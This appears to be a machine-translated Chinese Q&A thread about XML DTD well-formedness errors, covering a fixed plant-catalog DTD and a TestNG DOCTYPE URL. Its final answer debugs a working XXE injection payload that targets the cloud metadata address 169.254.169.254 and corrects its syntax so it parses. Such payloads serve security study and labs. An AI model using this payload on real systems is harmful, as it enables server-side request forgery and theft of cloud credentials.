您需要从 DTD 中删除
DOCTYPE
。声明中的元素名称后面还应该有空格。
新DTD
<!ELEMENT catalog (title,plant+)>
<!ELEMENT title (#PCDATA)>
<!ELEMENT plant (name,climate,height,usage,image)+>
<!ELEMENT name (#PCDATA)>
<!ELEMENT climate (#PCDATA)>
<!ELEMENT height (#PCDATA)>
<!ELEMENT usage (#PCDATA)>
<!ELEMENT image (#PCDATA)>
现在 DTD 有效,您在验证 XML 时会看到一些错误。
首先,您需要声明
id
元素的 plant
属性。我建议<!ATTLIST plant id ID #REQUIRED>
。
第二个是第二个
climate
中缺少 plant
。我不确定这是 XML 错误还是 DTD 错误。 plant
的元素声明并没有多大意义,因为它是按该顺序排列的 5 个元素一次或多次。如果您需要有关该部分的帮助,请描述 plant
应包含哪些内容,我可以帮助您编写正确的声明。
“文档类型声明包含或指向的标记声明必须格式正确”错误
就我而言,我位于代理后面,所以我猜它导致了问题
<?xml version = "1.0" encoding = "UTF-8"?>
<!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
所以我将其更改为https
<!DOCTYPE suite SYSTEM "https://testng.org/testng-1.0.dtd" >
我也遇到了同样的错误。但就我而言,它是这样解决的。在这里阅读完整的说明
我遇到的错误表明我的 XML 负载方式存在问题。在 XML 中,某些字符和结构具有特定的规则,任何偏离这些规则的行为都可能导致解析错误。
在我提供的有效负载中:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<! ENTITY xxe SYSTEM "http://169.254.169.254/" >]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>2</storeId>
</stockCheck>
<!
和ENTITY
之间有空格,这可能会导致解析错误。尝试删除空格以使其<!ENTITY
:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/" >]>
<stockCheck>
<productId>
&xxe;
</productId>
<storeId>2</storeId>
</stockCheck>
如果问题仍然存在,请考虑确保您的 XML 负载遵守 XML 语法规则。另外,请验证是否存在可能导致解析错误的额外空格、无效字符或未闭合标签。